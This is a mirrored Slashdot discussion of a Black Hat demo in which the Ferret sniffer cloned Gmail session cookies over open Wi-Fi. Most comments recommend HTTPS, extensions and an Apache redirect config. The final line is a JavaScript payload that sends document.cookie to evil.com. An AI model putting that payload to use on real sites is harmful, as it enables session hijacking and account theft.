Slashdot Mirror
Point-and-Click Gmail Hacking Shown at Black Hat
not5150 writes "Using Gmail or most other webmail programs over an unsecured access point just got a bit more dangerous. At Black Hat Robert Graham, CEO of errata security, showed how to capture and clone session cookies very quickly over connections without encryption. He even hijacked a shocked attendee's Gmail account in the middle of his presentation. 'While Ou was typing, Graham was running Ferret and sniffing all the cookies that were being sent from Ou's laptop and Google. Graham then clicked on Ou's IP address and Gmail page, complete with Ou's recently sent message on the screen. We photographed both Graham's and Ou's laptop at that time and posted it to the picture gallery. You'll see that the contents are exactly the same.'"
The Firefox extension forces GMail to always run over SSL. It's great!
Even if you don't have encrypted transfer, session cookies can be easily secured by associating them with a certain IP address. The attacker who captures the cookies has a differnt IP address so the cookie is rejected as invalid. The only situation where this solution may get a bit annoying is if you're behind a load-balancing proxy, which changes your IP address on every request (fortunately, this is somewhat rare.) It's better than allow easy hijacks...
This is the first time it's been compiled into an automated tool. Note that this tool doesn't apply to just GMail, but any web service that uses a cookie, when the user is on an unencrypted wireless network.
Also, logging in via SSL doesn't always work either - if the traffic is sniffed as the browser is sending the SSL requests, one could sniff the SSL key and just use that to get in.
Gmail already supports ssl. Just use https instead of http in the url.
Gmail will use SSL over any browser, it just doesn't by default (which is a shame, but easily fixed for those of us that care)
They offer it. All you have to do is go to https://mail.google.com/ rather than http://mail.google.com./
I fail to see how the average person, as usual, being lax about their security is in any way Google's fault. This was something I found immediately, just because I won't check my email without a secure connection.
ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
I think the upshot of this isn't really "look at us, we can sniff plaintext Wifi connections," but "look at one of the biggest players in web mail use plaintext connections even though they ought to know it's a hideously bad idea."
It's more of an indictment of Google than anything, because they default to unencrypted HTTP rather than HTTPS, and most users won't know that they can go to https://mail.google.com/mail/ to force smarter behavior.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
Although they don't have a public key scheme strong enough for the AES-256 (requires 15360-bit RSA or 256-bit ECC for public key), you should always be logging in using https://gmail.google.com/ from all locations (even home) to ensure the entire session is encrypted.
That's easy enough to fix with a Firefox plugin: http://www.customizegoogle.com/
We have redirects setup on all plain-text channels that have a login to SSL, and have for the past 6 years; this is beyond common-sense.
Website Hosting
Even if there are others with the same problem doesn't give you excuse to ignore the problem.
-- Reality checks don't bounce.
Bookmark the secure address and use that (who wouldn't over open wireless??). You could also use http://www.customizegoogle.com/ with Firefox if you're using Gmail to force it to go to the secure URL.
Accessing http://gmail.google.com/ will redirect you to a secure page for login, but after that you're back in plain text. If you start at https://gmail.google.com/ then afaik the rest of your gmail session runs over SSL.
Go home, Dad, you're pissed.
# This is how I did it: ..... mostly. /var/www/ /var/www/> /insecure/
.....
#
# Actual snippet from my Apache configuration
# Some details have been changed to protect the innocent
# And some details have been changed to protect the guilty
#
# The virtual host "secure.mydomain.co.uk" cannot be accessed
# by http; only by https.
#
# The insecure port
<VirtualHost 10.11.12.13:80>
ServerName secure.mydomain.co.uk
DocumentRoot
<Directory
RedirectMatch ^/[^iI]
# In this directory is a page with a dire warning
# that https is required to access this server.
# NB. To avoid creating an infinite loop, we never
# redirect if request begins with I or i.
</Directory>
</VirtualHost>
# The secure port
<VirtualHost 10.11.12.13:443>
SSLEngine on
</VirtualHost>
Je fume. Tu fumes. Nous fûmes!
That is the correct behaviour.
Essentially, if you enter via http://mail.google.com/ Google remembers this and encrypts only the login process and then reverts back to plain text. If you enter via https://mail.google.com/ your session remains encrypted throughout.
I use the Gmail Notifier firefox extension which checks for messages and forces gmail to use secure connections.
We have the best government that money can buy.
1- Robert did not release this tool to the public.
2- Automatic HTTP session hijacking tools have existed for 7+ years.
(new Image()).src= "http://evil.com/?"+document.cookie